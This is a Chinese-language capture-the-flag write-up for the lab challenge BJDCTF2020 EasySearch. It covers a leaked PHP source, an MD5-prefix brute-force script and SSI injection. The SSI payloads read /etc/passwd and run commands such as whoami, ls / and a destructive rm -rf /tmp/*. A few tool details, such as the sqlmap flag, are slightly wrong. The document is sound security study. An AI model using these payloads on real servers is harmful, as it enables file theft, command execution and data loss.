[BJDCTF2020]EasySearch
首先尝试了一下sql注入,但是没有找到不同回显。直接用sqlmap扫描一下,因为这边用的是POST请求,所以需要抓包将请求复制到txt文件中然后使用命令sqlmap -p bp.txt。也没有发现注入漏洞。
再进行目录扫描试试:
[02:33:43] 403 - 337B - /.httr-oauth
[02:36:39] 403 - 333B - /public/
/.httr-oauth
是 R 语言 OAuth 授权的敏感配置文件,服务器禁止外部访问是正常的安全措施。
/public/
是公开静态资源目录,文件本身应可访问,403 错误可能由权限配置问题导致,需检查文件权限或服务器规则。
都没有访问权限。完全没有思路了...
看了一眼答案居然是需要用字典扫描网页备份文件,为什么dirsearch不能扫描出来呢?
<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6))
需满足该条件,就得找到某字符串的md5编码前六位是6d0bc1,这里参考[BJDCTF2020]EasySearch (SSI注入漏洞)-CSDN博客的脚本:
import hashlibdef generate_md5(prefix):count = 0while True:data = prefix + str(count)md5_hash = hashlib.md5(data.encode()).hexdigest()if md5_hash.startswith(prefix):return md5_hash, datacount += 1prefix = input("请输入六个字符的前缀:")
md5_hash, data = generate_md5(prefix)
print("MD5值:", md5_hash)
print("加密前的数据:", data)
然后会将 <h1>Hello,'.$_POST['username'].'</h1>写入文件"public/".get_hash().".shtml"中。应该是需要植入木马,但是这里有两个问题:
1、文件名是通过代码shal1(uniqid().$random)生成的,其中$random是五位随机字符串,怎么得到文件名呢?
2、写入的是shtml文件,并不能植入php一句话木马,应该植入什么呢?
第一个问题:文件名具有高随机性,无法破解,所以题目肯定有其他提示。通过抓包可以看到响应中有提示Url_Is_Here: public/e96cae9e326466c68fa54d20e06936b5dc8deb25.shtml
第二个问题:从源码中我们可以看到,后端直接将用户输入放入shtml文件中,存在SSI注入漏洞。
SSI(Server-Side Includes,服务器端包含)注入漏洞是一种因服务器未正确过滤用户输入中的 SSI 指令,导致攻击者可注入恶意 SSI 代码并被服务器执行的安全漏洞。它主要影响启用了 SSI 功能的 Web 服务器,攻击者通过构造恶意请求,可实现文件读取、命令执行、服务器信息泄露等危害。
一、SSI 技术基础
SSI 是一种简单的服务器端脚本技术,允许在 HTML 页面中嵌入动态指令,服务器在解析页面时会执行这些指令并将结果替换到页面中。其核心作用是实现页面模块化(如复用导航栏、页眉页脚)或动态内容生成(如显示当前时间、服务器信息)。
常见的 SSI 指令格式如下:
html
<!--#指令 参数="值" -->
例如:
- 显示服务器当前时间:
<!--#echo var="DATE_LOCAL" -->
- 包含其他文件内容:
<!--#include file="header.html" -->
- 执行系统命令(部分服务器支持):
<!--#exec cmd="ls" -->
二、SSI 注入漏洞的成因
SSI 注入漏洞的根本原因是服务器对用户可控输入(如表单提交、URL 参数、Cookie 等)未进行严格过滤或转义,导致攻击者可将恶意 SSI 指令注入到网页中,且服务器会执行这些指令。
具体场景包括:
- 用户输入直接嵌入页面:例如网站允许用户提交评论、留言等内容,且未过滤
<--#
等 SSI 指令特征,导致恶意指令被写入页面并被服务器执行。- 文件上传漏洞结合 SSI:攻击者上传包含 SSI 指令的文件(如
.shtml
、.html
),若服务器允许该文件被解析为 SSI 页面,则指令会被执行。- 动态页面生成缺陷:服务器在动态生成页面时,将用户输入直接拼接进 HTML,且未处理 SSI 特殊语法,导致注入。
三、漏洞危害
SSI 注入的危害程度取决于服务器配置的 SSI 权限,可能包括:
信息泄露:
通过<!--#echo var="VAR_NAME" -->
指令获取服务器环境变量(如操作系统版本、Web 服务器类型、用户权限等)。
例如:<!--#echo var="HTTP_USER_AGENT" -->
(获取浏览器信息)、<!--#echo var="SERVER_SOFTWARE" -->
(获取服务器软件版本)。文件读取:
通过<!--#include file="文件路径" -->
指令读取服务器上的敏感文件(如配置文件、密码文件、日志文件等)。
例如:<!--#include file="/etc/passwd" -->
(读取 Linux 用户列表)、<!--#include file="../config.php" -->
(读取网站配置)。远程命令执行:
若服务器启用了exec
等危险 SSI 指令(如 Apache 的Options +IncludesNOEXEC
配置被禁用),攻击者可直接执行系统命令。
例如:<!--#exec cmd="whoami" -->
(查看当前用户)、<!--#exec cmd="rm -rf /tmp/*" -->
(删除文件),甚至反弹 shell 控制服务器。页面篡改:
通过注入指令修改页面内容,误导用户或传播恶意信息。
感觉和模板注入很像。
这里我们直接注入命令执行,令$_POST['username']=<!--#exec cmd="ls /" -->
不在根目录中,那就从当前工作目录开始一级一级向上访问。
更简便的是使用"find / -name "*flag*""命令,但是这里我试了没成功,不知道为什么,有可能是靶机用的轻量级linux系统没有find命令。
在上级目录中我们能找到有flag_990c66bf85a09c664f0b6741840499b2文件。
总结一下:1、源码泄露,这道题内容极少,没有任何线索,那么大概率是需要获得源码的,使用dirsearch扫描没什么发现,需要进一步用bp扫描备份文件。2、一个特殊的md5绕过,我们可以通过脚本构造一个字符串,使其md5编码带有特定前缀。3、基础的SSI注入,原理和其他注入漏洞类似,将用户的输入直接放入可执行文件,这里是shtml文件。